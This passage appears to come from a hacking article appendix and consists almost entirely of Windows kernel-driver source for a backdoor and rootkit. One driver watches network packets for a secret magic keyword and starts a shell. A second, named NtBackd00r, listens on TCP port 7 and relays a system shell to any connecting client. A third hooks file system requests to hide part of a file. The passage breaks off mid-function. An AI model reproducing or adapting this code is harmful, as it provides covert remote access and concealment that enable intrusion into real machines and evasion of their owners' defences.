    //_asm int 3;
    RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFILTERDRIVER");
    pDeviceObject=NULL;
retry:
    IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE|GENERIC_READ|GENERIC_W
RITE,&pFileObject,&pDeviceObject);
    if ((!pDeviceObject)&&(!DSN.Length))
    {
        RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\System\\Current
ControlSet\\Services\\IpFilterDriver");
        ZwLoadDriver(&DSN);
        goto retry;
    }
    if (pDeviceObject)
    {
        KeInitializeEvent(&Event,NotificationEvent,FALSE);
        return SetupFiltering(&PacketFilter);
    } else return STATUS_OBJECT_NAME_NOT_FOUND;
}

NTSTATUS SetupFiltering(void *PacketFilterProc)
{
    IO_STATUS_BLOCK iostb;

```

```

        LARGE_INTEGER Timeout;
        PIRP pirp = NULL;
        //_asm int 3;
        pirp = IoBuildDeviceIoControlRequest (IOCTL_PF_SET_EXTENSION_POINTER, pDeviceObject, (PPF_SET_EXTENSION_HOOK_INFO) &PacketFilterProc, sizeof (PF_SET_EXTENSION_HOOK_INFO), NULL, 0, FALSE, &Event, &iostb);
        if (!pirp)
        {
            return STATUS_UNSUCCESSFUL;
        }
        globalresult=IoCallDriver(pDeviceObject,pirp);
        if (globalresult == STATUS_PENDING)
        {
            Timeout.QuadPart=1000000000;
            if (KeWaitForSingleObject(&Event,Executive,KernelMode,FALSE,&Timeout) !=STATUS_SUCCESS)
            {
                return STATUS_UNSUCCESSFUL;
            }
            globalresult = pirp->IoStatus.Status;
        }
        return globalresult;
    }
}

```

----[8.8 - MPFD_main.cpp

```

extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "Sniffer.h"
#include "Filtering.h"
}

extern VOID ShellStarter(VOID* StartShellEvent);
HANDLE hShellStarterTread=NULL;
BOOLEAN Terminating=FALSE;
KEVENT StartShellEvent;

unsigned char * __cdecl memfind(
    const unsigned char * str1,
        unsigned int n1,
    const unsigned char * str2,
        unsigned int n2
    )
{
    if (n2>n1) return NULL;

    unsigned char *cp = (unsigned char *) str1;
    unsigned char *s1, *s2;
        unsigned int x;

    for (unsigned int i=0;i<=n1-n2;i++)
    {
        s1 = cp;
        s2 = (unsigned char *) str2;
            x=n2;

        while (x && !(*s1-*s2) )
            s1++, s2++, x--;
            if (!x) return(cp);

        cp++;
    }
    return(NULL);
}

```

```

}

unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x3
1\xE1\xD6";

PF_FORWARD_ACTION PacketFilter(
    IN IPHeader *PacketHeader,
    IN unsigned char *Packet,
    IN unsigned int PacketLength,
    IN unsigned int RecvInterfaceIndex,
    IN unsigned int SendInterfaceIndex,
    IN IPAddr RecvLinkNextHop,
    IN IPAddr SendLinkNextHop
)
{
    if (memfind(Packet,PacketLength,keyword,sizeof(keyword)))
    {
        HANDLE ThreadHandle;
        KeSetEvent(&StartShellEvent, 0, FALSE);
    }
    return PF_PASS;
}

NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
)
{
    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
        IO_NO_INCREMENT
    );
    return Irp->IoStatus.Status;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    #if (DBG)
        DbgPrint("MPFD: OnUnload called\n");
    #endif
    PVOID ThreadObj;
    SutdownFiltering();
    if (hShellStarterTread)
    {
        Terminating=TRUE;
        ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS,
        NULL, KernelMode, &ThreadObj, NULL);
        KeSetEvent(&StartShellEvent, 0, TRUE);
        KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, N
ULL);
    }
}

#pragma code_seg("INIT")

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    NTSTATUS status;

    #if (DBG)
        DbgPrint("MPFD:In DriverEntry\n");
    #endif

```

```

    UNREFERENCED_PARAMETER(RegistryPath);

    for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
    {
        DriverObject->MajorFunction[i] = OnStubDispatch;
    }
    DriverObject->DriverUnload = OnUnload;

    status=InitFiltering();
    if (status!=STATUS_SUCCESS) return status;
    KeInitializeEvent(&StartShellEvent,SynchronizationEvent,FALSE);
    OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
    status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent);

    return status;
}

```

----[8.9 - NtBackd00r.cpp

```

// NtBackd00r.cpp
//
// Generated by Driver::Wizard version 2.0

#define VDW_MAIN
#include <vdw.h>
#include <stdio.h>
#include <ntifs.h>
#include "function.h"
#include "NtBackd00r.h"
#pragma hdrstop("NtBackd00r.pch")

#ifdef (DBG)
#define dprintf DbgPrint
#else
#define dprintf
#endif

extern "C" {
    NTSYSAPI
        NTSTATUS
        NTAPI
        ZwWaitForMultipleObjects(
            IN ULONG HandleCount,
            IN PHANDLE Handles,
            IN WAIT_TYPE WaitType,
            IN BOOLEAN Alertable,
            IN PLARGE_INTEGER Timeout OPTIONAL
        );

    NTSYSAPI
        NTSTATUS
        NTAPI
        ZwCreateEvent(
            OUT PHANDLE EventHandle,
            IN ACCESS_MASK DesiredAccess,
            IN POBJECT_ATTRIBUTES ObjectAttributes,
            IN EVENT_TYPE EventType,
            IN BOOLEAN InitialState
        );
}

```

```

NTSYSAPI
    NTSTATUS
    NTAPI
    ZwSetEvent(
        IN HANDLE EventHandle,
        OUT PULONG PreviousState OPTIONAL
    );
}

extern "C" void LoadFuncs();
extern "C" HANDLE StartShell(PHANDLE phPipe);
extern VOID ShellStarter(VOID* StartShellEvent);

////////////////////////////////////
// Begin INIT section
#pragma code_seg("INIT")

DECLARE_DRIVER_CLASS(NtBackd00r, NULL)

////////////////////////////////////
// Driver Entry
//
NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(RegistryPath);

    //Dynamic import of functions exported from ntdll.dll
    LoadFuncs();

    // Initialize the TDIClient framework first
    if (!KTDInterface::Initialize())
    {
        // something wrong with TDI
        return STATUS_NOT_FOUND;
    }

    // Create TCP server, port 7
    CIPTRANSPORT_ADDRESS TCP_port(IPPORT_ECHO);
    m_pListener = new(NonPagedPool) KStreamServer<Session> (TCP_port);

    // If succeeded - enable network events

    if (m_pListener && m_pListener->IsCreated()) {
        m_pListener->SetEvents(TRUE);
        dprintf("NtBackd00rDevice: Listener started\n");
    }
    else {
        dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n");
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    //Create dummy device for IoQueueWorkItem
    m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN
, NULL);

    if (m_pDummyDevice == NULL)
    {
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    return STATUS_SUCCESS;
}

```

```

#pragma code_seg()
#pragma warning( disable : 4706 )

//This message will be sen to client in case of failure when starting shell
char errtxt_shell[]="cant start shell";

////////////////////////////////////
//      Unload is responsible for releasing any system objects that
//      the driver has allocated.
//
VOID NtBackd00r::Unload(VOID)
{
    if (m_pListener)
    {
        // Disable network event notifications
        m_pListener->SetEvents(FALSE);

        // Iterate through the list of active sessions
        // and forcefully disconnect all active sessions
        Session* p;
        TDI_STATUS Status;

        while ( p = m_ActiveSessionList.RemoveHead() )
        {
            // Thread handle must be extracted before delete p
            HANDLE hWorkerThread = p->hDataPumpThread;
            // By default, this method will perform an
            // abortive disconnect (RST)
            Status = p->disconnect();
            ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status);
            delete p;
            // It's required to wait for termination of worker thread,
            // or else unloading driver will cause BSOD
            if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread,
FALSE, NULL);
        }

        // Wait for all outstanding requests to complete
        // By issuing a disconnect for all sessions, any
        // pending requests should be completed by the transport
        m_pListener->Wait();

        // destroy the socket
        delete m_pListener;
        m_pListener = NULL;

        dprintf("NtBackd00rDevice: Listener stopped\n");
    }

    delete m_pDummyDevice;

    // Call base class destructor to delete all devices.
    KDriver::Unload();
}

// Frees buffers, given to ZwWriteFile for asynchronous write
VOID NTAPI ApcCallbackWriteComplete(
    IN PVOID
    ApcContext,
    IN PIO_S

```

```

NTSTATUS_BLOCK IoStatusBlock,
    Reserved
    )
{
    UNREFERENCED_PARAMETER(IoStatusBlock);
    UNREFERENCED_PARAMETER(Reserved);

    //
    delete (uchar *)ApcContext;
}

#define SENDS_QUEUED_THRESHOLD 3

// Thread, that transfers data between named pipe and socket
VOID DataPumpThread(IN PVOID thiz1)
{
    IO_STATUS_BLOCK send_iosb, rcv_iosb;
    uchar *send_buf, *rcv_buf;
    ULONG rd;
    const bufsize=0x1000;
    NTSTATUS status;
    LARGE_INTEGER ResendInterval;
    //local copy of Pipes needed for correct thread termination
    //after deleting Session
    s_Pipes *Pipes;

    Session* thiz=(Session*)thiz1;
    Pipes=thiz->m_Pipes;
    ResendInterval.QuadPart = (__int64)1E6; //0.1c

    //Create FIFO
    //Source of BSOD at high IRQL
    thiz->pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000, NonP
agedPool);
    //Lock socket to avoid sudden deletion of it
    thiz->Lock();

    //send_buf allocated here, deleted in OnSendComplete
    send_buf = new(NonPagedPool) uchar[bufsize];
    //Start asynchronous read
    status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send
_iosb, send_buf, bufsize, NULL, NULL);
    if (status==STATUS_SUCCESS)
    {
        //Send read data to client
        status=thiz->send(send_buf, send_iosb.Information, send_buf);
        if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS))
            dprintf("send error %08x\n");
        //to avoid recurring send of same data
        send_iosb.Status = -1;
    }
    while (1) switch (ZwWaitForMultipleObjects(2, &Pipes->hPipeEvents[0], Wa
itAny, TRUE, NULL))
    {
        //STATUS_WAIT_1 - read operation completed
        case STATUS_WAIT_1:
            //
            if (Pipes->Terminating) goto fin;
            if (!Pipes->hPipe) break;
sending:
            {

```



```

        if (!send_iosb.Status)
        {
resend:
            //Send read data to client
            status=this->send(send_buf, send_iosb.Information, send_
buf);
            //If there was an error, then it tried to push too much
data in socket
            if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING))
            {
                //Wait for free space in buffer...
                KeDelayExecutionThread(KernelMode, TRUE, &Resend
Interval);
                //...and retry
                goto resend;
            }
            //send_buf allocated here, deleted in OnSendComplete
            send_buf = new(NonPagedPool) uchar[bufsize];
            //Start asynchronous read
            status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], N
ULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
            //If there was a data in pipe buffer, it read instantly.
            if (status==STATUS_SUCCESS)
                //send it immediately
                goto sending;
            else {
                if (status!=STATUS_PENDING)
                {
                    delete send_buf;
                    //STATUS_PIPE_LISTENING - it's OK, proce
ss not connected to pipe yet
                    if (status!=STATUS_PIPE_LISTENING)
                    {
                        //otherwise it was an error, dis
connect client and terminate thread
                        if (!Pipes->Terminating) this->d
isconnect();
                        goto fin;
                    }
                }
            }
        };
        break;
        //STATUS_WAIT_0 - write operation completed
case STATUS_WAIT_0:
    if (Pipes->Terminating) goto fin;
    if (!Pipes->hPipe) break;
    //FIFO must be locked during all operation with it
    //to avoid conflicts
    this->pWBytePipe->Lock();
    //At first look what crowd into FIFO,...
    rd = this->pWBytePipe->NumberOfItemsAvailableForRead();
    if (rd)
    {
        //... then allocate appropriate amount of memory ...
        rcv_buf = new(NonPagedPool) uchar[rd];
        //... and read all at once
        rd = this->pWBytePipe->Read(rcv_buf, rd);
    }
    this->pWBytePipe->Unlock();
    if (rd)
    {

```

```

        status = ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWrit
eComplete, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL);
        if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LISTE
NING)&&(status!=STATUS_PENDING))
        {
            //if there was an error, disconnect client and t
erminate thread
            if (!Pipes->Terminating) thiz->disconnect();
            goto fin;
        }
    }
    break;
case STATUS_ALERTED:
    break;
default: goto fin;
}
fin:
//If termination not initiated from outside, unlock socket
if (!Pipes->Terminating) thiz->Unlock();
//If pipe exists, then all the rest exists too -
//destroy it all
if (Pipes->hPipe)
{
    ZwClose(Pipes->hPipe);
    for (int i=0;i<=1;i++)
        ZwClose(Pipes->hPipeEvents[i]);
    CLIENT_ID clid = {Pipes->ChildPID, 0};
    HANDLE hProcess;
    OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0};
#define PROCESS_TERMINATE (0x0001)
    status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &cli
d);
    if (!status)
    {
        ZwTerminateProcess(hProcess, 0);
        ZwClose(hProcess);
    }
}
delete Pipes;
PsTerminateSystemThread(0);
}

#define DISABLE_INTS __asm pushfd; cli
#define RESTORE_INTS __asm popfd;

VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1)
{
    OBJECT_ATTRIBUTES attr;
    HANDLE loc_hPipe, loc_hPipeEvents[2], loc
_ChildPID;

    UNREFERENCED_PARAMETER(DeviceObject);

#define desc ((s_WorkItemDesc*)desc1)
    //By course of business will check is there "cancel" command
    if (desc->WorkItemCanceled) goto cancel2;

    //Start shell
    loc_ChildPID = StartShell(&loc_hPipe);
    if (loc_ChildPID)
    {
        InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);

```

```

        //Create 2 events to notify thread about data receipt
        //from socket or pipe
        for (int i=0;i<=1;i++)
            ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &at
tr, SynchronizationEvent, FALSE);

        //Disable interrupts and write all handles to structure that is
class member
        DISABLE_INTS
            if (!desc->WorkItemCanceled)
            {
                desc->thiz->m_Pipes->hPipe = loc_hPipe;
                desc->thiz->m_Pipes->hPipeEvents[0] = loc_hPipeE
vents[0];
                desc->thiz->m_Pipes->hPipeEvents[1] = loc_hPipeE
vents[1];
                desc->thiz->m_Pipes->ChildPID = loc_ChildPID;
            }
        RESTORE_INTS

        if (desc->WorkItemCanceled) goto cancel;

        //Create thread, that transfers data between named pipe and sock
et
        PsCreateSystemThread(&desc->thiz->hDataPumpThread, THREAD_ALL_AC
CESS, NULL, 0, NULL, DataPumpThread, desc->thiz);
    } else {
cancel:
        //In case of error or cancel close pipe, send error message to client,
        //and disconnect it
        ZwClose(loc_hPipe);
        char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1];
        RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1);
        desc->thiz->send(errmess, sizeof(errtxt_shell)-1);
        desc->thiz->disconnect();
    }
cancel2:
        //Cleanup
        IoFreeWorkItem(desc->WorkItem);
        DISABLE_INTS
        desc->WorkItem = NULL;
        if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL;
        RESTORE_INTS
        ExFreePool(desc1);
#undef desc
    }

////////////////////////////////////
// Session -- Event handlers.
BOOLEAN Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA,
                           uint OptionsLength, PVOI
D Options)
{
    // Connecting: print the IP address of the requestor and grant the conne
ction
#ifdef DBG
    char szIPAddr[20];
    inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPAddr, s
izeof(szIPAddr));

    dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n",

```

```

szIPAddr, this);
#endif

    // obtain a pointer to the KDriver derived class
    NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance())
;

    ASSERT(p);

    //Initialization of miscellaneous stuff
    pWBytePipe = NULL;
    hDataPumpThread = NULL;
    m_Pipes = new(NonPagedPool) s_Pipes;
    RtlZeroMemory(m_Pipes, sizeof s_Pipes);

    //Initialize and start WorkItem
    m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc);
#define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc)
    pWorkItemDesc->WorkItemCanceled=false;
    pWorkItemDesc->thiz=this;
    pWorkItemDesc->WorkItem=IoAllocateWorkItem(*p->m_pDummyDevice);
    if (!pWorkItemDesc->WorkItem) return FALSE;
    //To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem
    IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter, CriticalWorkQueu
e, pWorkItemDesc);
#undef pWorkItemDesc

    // Add this object to the session list maintained by the driver
    p->m_ActiveSessionList.InsertTail(this);

    UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options);
    return TRUE;
}

void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort)
{

    dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this);

    UNREFERENCED_PARAMETERS3(OptionsLength, Options, bAbort);
}

Session::~~Session()
{
    // obtain a pointer to the KDriver derived class
    NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance())
;

    ASSERT(p);
    // Remove this object from the session list maintained by the driver
    p->m_ActiveSessionList.Remove(this);

    //Set flas, that make thread to terminate
    m_Pipes->Terminating = true;
    //To not wait for yesterday in OnUnload
    hDataPumpThread = NULL;
    //Set event "let's finish"
    if ( m_Pipes && (m_Pipes->hPipeEvents[0])) ZwSetEvent(m_Pipes->hPipeEven
ts[0], NULL);

    //If WorkItem works, notify it about termination
    if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=
true;

    delete pWBytePipe;
}

```

```

uint Session::OnReceive(uint Indicated, uchar *Data, uint Available,
                        uchar **RcvBuffer, uint* RcvBufferLen)
{
    // Received some data from the client peer.

    //If all required pointers and handles are valid
    if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
    {
        //Write that data to FIFO
        pWBytePipe->LockedWrite(Data, Indicated);
        //And notify DataPumpThread
        ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
    }

    // Now, if the transport has more data available than indicated,
    // allocate another buffer to read the rest. When the transport
    // done with it - asynchronously - our OnReceiveComplete() handler
    // is called. Note that failure to submit a buffer suppressed further
    // receive indications - until and if a recv() is issued.

    if (Indicated < Available) {
        *RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available-
Indicated];
    }

    return Indicated;
}

void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt)
{
    // Our send request has completed. Free the buffer

    if (status != TDI_SUCCESS)
        dprintf("NtBackdoorDevice: Failed sending data, err %X\n", status);
    //free the buffer
    delete ((uchar*)buf);

    UNREFERENCED_PARAMETER(bytecnt);
}

void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data)
{
    // Buffer for the partially indicated data allocated and submitted during
    // OnReceive() processing is filled in by the transport.

    if (status == TDI_SUCCESS) {
        if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
        {
            //Write that data to FIFO
            pWBytePipe->LockedWrite(Data, Indicated);
            //And notify DataPumpThread
            ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
        }
        else
            dprintf("NtBackdoorDevice: Failed completing receive, err %X\n", status);
    }

    if (status != TDI_PENDING)
        delete Data;
}

```

```

}

// end of file

---[ 8.10 - Intercept.cpp

//This module hooks:
// IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION,
// IRP_MJ_SET_INFORMATION, IRP_MJ_DIRECTORY_CONTROL,
// FASTIO_QUERY_STANDARD_INFO FASTIO_QUERY_BASIC_INFO FASTIO_READ(WRITE)
//to hide first N bytes of given file

extern "C" {
#include <ntddk.h>
}
#pragma hdrstop("InterceptIO.pch")

////////////////////////////////////
// Undocumented structures missing in ntddk.h

typedef struct _FILE_INTERNAL_INFORMATION { // Information Class 6
    LARGE_INTEGER FileId;
} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;

typedef struct _FILE_EA_INFORMATION { // Information Class 7
    ULONG EaInformationLength;
} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;

typedef struct _FILE_ACCESS_INFORMATION { // Information Class 8
    ACCESS_MASK GrantedAccess;
} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;

typedef struct _FILE_MODE_INFORMATION { // Information Class 16
    ULONG Mode;
} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;

typedef struct _FILE_ALLOCATION_INFORMATION { // Information Class 19
    LARGE_INTEGER AllocationSize;
} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;

typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_ALL_INFORMATION { // Information Class 18
    FILE_BASIC_INFORMATION BasicInformation;
    FILE_STANDARD_INFORMATION StandardInformation;
    FILE_INTERNAL_INFORMATION InternalInformation;
    FILE_EA_INFORMATION EaInformation;
    FILE_ACCESS_INFORMATION AccessInformation;
    FILE_POSITION_INFORMATION PositionInformation;
    FILE_MODE_INFORMATION ModeInformation;

```

```

    FILE_ALIGNMENT_INFORMATION AlignmentInformation;
    FILE_NAME_INFORMATION NameInformation;
} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;

typedef struct tag_QUERY_DIRECTORY
{
    ULONG Length;
    PUNICODE_STRING FileName;
    FILE_INFORMATION_CLASS FileInformationClass;
    ULONG FileIndex;
} QUERY_DIRECTORY, *PQUERY_DIRECTORY;

#pragma pack(push, 4)

typedef struct tag_FQD_SmallCommonBlock
{
    ULONG NextEntryOffset;
    ULONG FileIndex;
} FQD_SmallCommonBlock, *PFQD_SmallCommonBlock;

typedef struct tag_FQD_FILE_ATTR
{
    TIME CreationTime;
    TIME LastAccessTime;
    TIME LastWriteTime;
    TIME ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
} FQD_FILE_ATTR, *PFQD_FILE_ATTR;

typedef struct tag_FQD_CommonBlock
{
    FQD_SmallCommonBlock SmallCommonBlock;
    FQD_FILE_ATTR FileAttr;
    ULONG FileNameLength;
} FQD_CommonBlock, *PFQD_CommonBlock;

typedef struct _KFILE_DIRECTORY_INFORMATION
{
    FQD_CommonBlock CommonBlock;

    WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_DIRECTORY_INFORMATION, *PKFILE_DIRECTORY_INFORMATION;

typedef struct _KFILE_FULL_DIR_INFORMATION
{
    FQD_CommonBlock CommonBlock;

    ULONG EaSize;
    WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_FULL_DIR_INFORMATION, *PKFILE_FULL_DIR_INFORMATION;

typedef struct _KFILE_BOTH_DIR_INFORMATION
{
    FQD_CommonBlock CommonBlock;

    ULONG EaSize;
    USHORT ShortFileNameLength;
    WCHAR ShortFileName[12];
    WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_BOTH_DIR_INFORMATION, *PKFILE_BOTH_DIR_INFORMATION;

```

```

#pragma pack(pop)

////////////////////////////////////
// Global variables
PDRIVER_OBJECT      pDriverObject;
PDRIVER_DISPATCH    OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp,
    OldDirCtlDisp;
PFAST_IO_READ       OldFastIoReadDisp;
PFAST_IO_WRITE      OldFastIoWriteDisp;
PFAST_IO_QUERY_STANDARD_INFO OldFastIoQueryStandartInfoDisp;

//Size of our file's Invisible Part (in bytes)
ULONG InvisiblePartSize = 10;
//File, part of which we want to hide
wchar_t OurFileName[] = L"testing.fil";

//Size of OurFileName in bytes, excluding null terminator
ULONG OurFileNameLen = sizeof(OurFileName) - sizeof(wchar_t);

////////////////////////////////////
// Functions

//Function returns true if FN matches OurFileName
bool ThisIsOurFile(PUNICODE_STRING FN)
{
    return ((FN->Buffer) &&
            (FN->Length >= OurFileNameLen) &&
            _wcsnicmp((wchar_t*)((char*)FN->Buffer + FN->Length - OurFileNam
eLen),
                    OurFileName, OurFileNameLen/2)==0);
}

//Structure used to track IRPs which completion must be handled
struct s_ComplRtnTrack
{
    PIO_COMPLETION_ROUTINE CompletionRoutine;
    PVOID Context;
    //When CompletionRoutine is called, flags corresponds to InvokeOn*
    UCHAR Control;
    PIO_STACK_LOCATION CISL;
    FILE_INFORMATION_CLASS FileInformationClass;
    PVOID Buffer;
};

//Function set new CompletionRoutine, InvokeOnSuccess flag,
//and copies original fields to Context
void HookIrpCompletion(PIO_STACK_LOCATION CISL,
                      PIO_COMPLETION_ROUTINE CompletionRout
ine,
                      PVOID Buffer,
                      FILE_INFORMATION_CLASS FileInformatio
nClass)
{
    s_ComplRtnTrack* NewContext =
        (s_ComplRtnTrack*)ExAllocatePool(NonPagedPool, sizeof(s_ComplRtn
Track));
    NewContext->CompletionRoutine = CISL->CompletionRoutine;
    NewContext->Context = CISL->Context;
    NewContext->Control = CISL->Control;
    NewContext->CISL = CISL;
    //Since CISL.Parameters unavailable in IrpCompletion handler,
    //let's save all necessary data in Context structure

```



```

    NewContext->FileInformationClass = FileInformationClass;
    NewContext->Buffer = Buffer;
    CISL->CompletionRoutine = CompletionRoutine;
    CISL->Context = NewContext;
    CISL->Control |= SL_INVOKE_ON_SUCCESS;
}

//Function handles IRP completion
NTSTATUS NewComplRtn (
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp,
    s_ComplRtnTrack* CXT)
{
    //Handle different types of IRP
    switch (CXT->CISL->MajorFunction)
    {
    case IRP_MJ_QUERY_INFORMATION:
        _asm int 3;
        //ThisIsOurFile is already tested
        switch (CXT->FileInformationClass)
        {
            //In all cases modify CurrentByteOffset and/or size (End
            //to hide first InvisiblePartSize bytes
            case FilePositionInformation:
                ((PFILE_POSITION_INFORMATION)CXT->Buffer)->CurrentByteOf
                fset.QuadPart -= InvisiblePartSize;
                break;
            case FileEndOfFileInformation:
                ((PFILE_END_OF_FILE_INFORMATION)CXT->Buffer)->EndOfFile.
                QuadPart -= InvisiblePartSize;
                break;
            case FileStandardInformation:
                ((PFILE_STANDARD_INFORMATION)CXT->Buffer)->EndOfFile.Qua
                dPart -= InvisiblePartSize;
                break;
            case FileAllocationInformation:
                ((PFILE_ALLOCATION_INFORMATION)CXT->Buffer)->AllocationS
                ize.QuadPart -= InvisiblePartSize;
                break;
            case FileAllInformation:
                ((PFILE_ALL_INFORMATION)CXT->Buffer)->PositionInformatio
                n.CurrentByteOffset.QuadPart -= InvisiblePartSize;
                ((PFILE_ALL_INFORMATION)CXT->Buffer)->StandardInformatio
                n.EndOfFile.QuadPart -= InvisiblePartSize;
                break;
        }
    case IRP_MJ_DIRECTORY_CONTROL:
        //Get a pointer to first directory entries
        PFQD_SmallCommonBlock pQueryDirWin32 = (PFQD_SmallCommonBlock)CX
        T->Buffer;
        //Cycle through directory entries
        while (1)
        {
            PWCHAR pFileName = 0;
            ULONG dwFileNameLength = 0;
            switch (CXT->FileInformationClass)
            {
                //In all cases get pointer to FileName and FileN
                case FileDirectoryInformation:
                    dwFileNameLength = ((PKFILE_DIRECTORY_INFORMATIO
                    N)pQueryDirWin32)->CommonBlock.FileNameLength;

```

```

        pFileName = ((PKFILE_DIRECTORY_INFORMATION)pQuery
yDirWin32)->FileName;
        break;
        case FileFullDirectoryInformation:
            dwFileNameLength = ((PKFILE_FULL_DIR_INFORMATION
)pQueryDirWin32)->CommonBlock.FileNameLength;
            pFileName = ((PKFILE_FULL_DIR_INFORMATION)pQuery
DirWin32)->FileName;
            break;
        case FileBothDirectoryInformation:
            dwFileNameLength = ((PKFILE_BOTH_DIR_INFORMATION
)pQueryDirWin32)->CommonBlock.FileNameLength;
            pFileName = ((PKFILE_BOTH_DIR_INFORMATION)pQuery
DirWin32)->FileName;
            break;
    }
    //_asm int 3;
    //Is this file that we want?
    if ((dwFileNameLength == OurFileNameLen) &&
        _wcsnicmp(pFileName, OurFileName, OurFileNameLen
/2)==0)
    {
        //_asm int 3;
        //Hide first InvisiblePartSize bytes
        ((PFQD_CommonBlock)pQueryDirWin32)->FileAttr.End
OfFile.QuadPart -= InvisiblePartSize;
        break;
    }
    //Quit if no more directory entries
    if (!pQueryDirWin32->NextEntryOffset) break;
    //Continue with next directory entry
    pQueryDirWin32 = (PFQD_SmallCommonBlock)((CHAR*)pQueryDi
rWin32 + pQueryDirWin32->NextEntryOffset);
}

}
//If appropriate Control flag was set,...
if (
    ((CXT->Control == SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp->IoStat
us.Status)))
    || ((CXT->Control == SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp->IoStatu
s.Status)))
    || ((CXT->Control == SL_INVOKE_ON_CANCEL)&&(Irp->IoStatus.Status
== STATUS_CANCELLED)))
    //...call original CompletionRoutine
    return CXT->CompletionRoutine(
        DeviceObject,
        Irp,
        CXT->Context);
    else return STATUS_SUCCESS;
}

//Filename IRP handler deal with
#define FName &(CISL->FileObject->FileName)

//Function handles IRP_MJ_READ and IRP_MJ_WRITE
NTSTATUS NewReadWriteDisp (
